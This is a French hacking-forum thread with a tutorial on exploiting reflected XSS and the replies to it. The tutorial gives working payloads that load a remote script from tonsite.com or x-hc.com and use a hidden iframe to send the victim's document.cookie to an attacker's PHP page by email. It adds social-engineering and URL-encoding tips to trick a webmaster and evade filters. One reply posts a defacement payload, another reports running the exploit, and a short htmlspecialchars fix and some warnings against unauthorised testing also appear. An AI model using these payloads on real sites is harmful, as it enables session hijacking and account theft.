![]() |
Comment est exploitée une faille XSS - Version imprimable +- N-PN White-Hat Project (https://dev.n-pn.fr/forum) +-- Forum : Tutoriels (https://dev.n-pn.fr/forum/forumdisplay.php?fid=15) +--- Forum : [Tutoriel] Hacking (https://dev.n-pn.fr/forum/forumdisplay.php?fid=43) +--- Sujet : Comment est exploitée une faille XSS (/showthread.php?tid=1193) |
Comment est exploitée une faille XSS - CyberSee - 28-01-2007 Je vais inclure ce tuto dans les articles du site au courant de la semaine et essayer d'en composer sur une base régulière. Ça fait longtemps que j'y pensais, alors le voici en exclusivité sur PN. Premièrement, le nom XSS vient de l’acronyme 'Cross Site Scripting' et non CSS qui peut porter à confusion avec 'Cascading Style Sheet' qui se trouve à être quelque chose de complètement différent. Dans ce tuto, je vais vous expliquer comment une exploitation de cette faille peut être réalisée par une personne malveillante pour lui permette de recevoir par email le cookie du webmaster. Comment reconnaître une faille XSS et comment elle se produit. On analyse l’URL 'Uniform Resource Locator' (Adresse internet) qui peut nous donner plusieurs informations sur la façon dont les variables sont passées de page en page. Pour quelqu'un qui connaît beaucoup le codage web, c’est une très bonne façon d’imaginer comment la page est codée. Voici un exemple d’URL qui pourrait être vulnérable. Code : http://www.lesite.com/index.php?var=pseudo&mod=1&... Vous avez sûrement déjà remarqué des adresses longues d’un mètre, pleines d’information… Dans ce cas si, remarquez l’expression (var=pseudo). Mais qu'est-ce que ça veut dire? Simplement que la variable ici appelée (var) va porter la valeur (pseudo). Pour récupérer cette variable, le webmaster utilise ($_GET[var]). L’erreur qui provoque la faille XSS est que si cette variable est directement affichée dans la page sans être filtrée, on peut l’utiliser pour passer du code JavaScript directement dans la page. Pour savoir si une variable est vulnérable, il faut d’abord la tester. La façon la plus simple, c’est de générer une alerte javascript. Code : http://www.lesite.com/index.php?var=<script>alert()</script>&mod=1&... Si vous voyez une boite d’alerte s’ouvrir, c’est que le site est vulnérable.* Comment exploiter la faille XSS Maintenant que nous savons que le site en question ne filtre pas les caractères de programmation avant d'inclure la variable dans sa page, nous pouvons en profiter pour passer aux choses sérieuses. Puisque les caractères passés dans l’URL sont limités en nombres, nous devrons procéder à l’inclusion d’une page .js afin de pouvoir inclure tout notre codage sans limitation. Voici donc à quoi cela ressemblerait. Code : http://www.lesite.com/index.php?var=<SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>&mod=1&... C’est ici que la plus part des tuto arrête. Mais aujourd’hui, nous allons pousser le sujet plus loin et se rendre jusqu’à l’exploitation complète de la faille. Afin de pouvoir recevoir le cookie par courriel, nous devons réussir à fabriquer un codage qui va ouvrir une page de façon parallèle et qui contient comme variable le cookie en question. Dans le fichier cookie.js, nous allons ouvrire un IFRAME qui inclura en variable le cookie de la personne. Voici le codage. Code : document.write('<iframe src=http://tonsite.com/cookie.php?cookie='+document.cookie+' HEIGHT=0 WIDTH=0></iframe>'); Ce codage va envoyer à cookie.php la variable (cookie) qui elle contient la valeur du cookie de la personne qui va cliquer sur le lien. Il nous reste simplement à créé le codage qui va récupérer tout ça et nous l’envoyer par email. Dans le fichier cookie.php, le code va ressembler à ceci. Code PHP : <?php Bien entendu, vous pouvez en profiter pour vous envoyer quelques informations supplémentaires sur la personne comme sont adresse IP qui peut toujours servirent pour d'autres sortes d'attaque. Maintenant que nous avons tout mis en place, il ne vous reste plus qu'a utiliser un peut de SE (Social Engineering) Afin de demander au webmaster de bien gentiment cliquer sur le lien trafiqué. Pour cacher un peut le code malicieux, vous prouvez utiliser un encodeur URL. Le résultat ressemblerait à ceci : Code : http://www.lesite.com/index.php?var=%3CSCRIPT%2520SRC%3Dhttp%3A%2F%2Fx-hc.com%2F11.js%3E%3C%2FSCRIPT%3E&mod=1&... Ceci peut également déjouer certain système de filtration et c'est un peu moins évident à deviner ... quoi que toujours un peut visible ... Pousser plus loin... Il existe énormément de place différente ou les failles XSS peuvent se produire. Plus récemment, plusieurs CMS se sont trouvés vulnérables au niveau des avatars et des inclusions d'images dans les messages en utilisant la balise IMG comme couverture. Code : <IMG SRC="javascript:alert();"> Ou simplement fermer la balise IMG et poursuivre avec le code JS Code : "><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT> Ce qui donnerait dans la source HTML Code : <IMG SRC=""><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT> Ce protégé Désormais, ayant vu l'exploitation qui peut en être faite, voici la sécurisation de cette faille : Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. (qui lui est inutile). Soyez intelligent et restez WhiteHat! Par CyberSee Comment exploiter une faille XSS - julian - 28-01-2007 Très bon tutos ![]() Comment exploiter une faille XSS - CyberSee - 03-06-2011 Merci :-) Je vais essayer de vous en pondre au moins 1 par semaine ... quoique si je peux en faire plus, ça va me faire plaisir :-). J'ai l'intention de faire le tour de toutes mes connaissances à l'écrit. Je me rends compte que j’ai accumulé beaucoup de bagage avec le temps. C’est moche d’avoir tout perdu ceux que j’ai composés pour NewbieCenter … :-( RE: Comment exploiter une faille XSS - Apache9 - 23-04-2012 Merci très bon tutoriel, par contre je reçois le mail 5 par 5 normale ? ^^ Par exemple je lance l'exploit et après je reçois 5 fois le mail "Exploitation XSS". RE: Comment exploiter une faille XSS - ﮎyиthﮎtyℓє - 23-04-2012 parce-que le code et afficher à plusieurs endroit sur ta page. btw Code : <script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>pwnd</h1></div>";</script> RE: Comment exploiter une faille XSS - ...:: BliNK ::... - 30-05-2012 Merci, très beau tutoriel ! RE: Comment exploiter une faille XSS - ThibauT - 10-06-2012 J'aime tes tutoriels. Ils expliquent simplement des choses qui ne le sont pas forcément. RE: Comment exploiter une faille XSS - hydegollam - 29-06-2012 Malin le coup des images d'avatar ou du BBcode ! Merci bien pour le tuto ![]() RE: Comment exploiter une faille XSS - spgb - 20-08-2012 Bon tutoriel, merci, j'avais déjà lu d'autres tutoriel du genre mais le tiens va effectivement plus loin ![]() RE: Comment exploiter une faille XSS - InstinctHack - 17-10-2012 Bon tuto, il manque seulement la correction de cette faille qui est simple : Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. RE: Comment exploiter une faille XSS - Quintinou - 27-10-2012 J'ai essayé sur un site, mais pas de boîte de dialogue ouverte ![]() Code : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') blabla... Ca sent la faille sql à plein nez, nan ? ![]() Les outils tel sqlmap permettent je pense de détecter ce type de faille, mais laisse de nombreuses traces de requêtes si je ne me trompe pas ? RE: Comment exploiter une faille XSS - supersnail - 28-10-2012 Uep, ça laisse pas mal de traces. Sinon, évite de faire du pentest sauvage sur des sites au hasard parce qu'en plus de pas trop être dans l'esprit de la communauté, tu risques pas mal d'ennuis si l'admin du site est un poil susceptible (il peut t'attaquer pour intrusion, même si t'as pas de motivations malveillantes) btw @CyberSee, ce serait cool si tu pouvais edit le tuto pour éviter d'inciter les débutants à faire du pentest sauvage ![]() RE: Comment exploiter une faille XSS - Quintinou - 28-10-2012 Hello, Qui a dit que j'ai fait du pentest sauvage ? ![]() Je n'ai rien fait du tout pour l'instant, à part modifier l'url pour tester la sécurité, et j'suis tomber sur une erreur sql, rien de plus ![]() RE: Comment exploiter une faille XSS - Swissky - 28-10-2012 JUstement si tu as modifié l'url pour tester la sécu sans en avoir préalablement averti le webmaster c'est du Pentest Sauvage RE: Comment exploiter une faille XSS - Wabouz - 31-12-2012 À quoi correspond le fichier cookie.js? |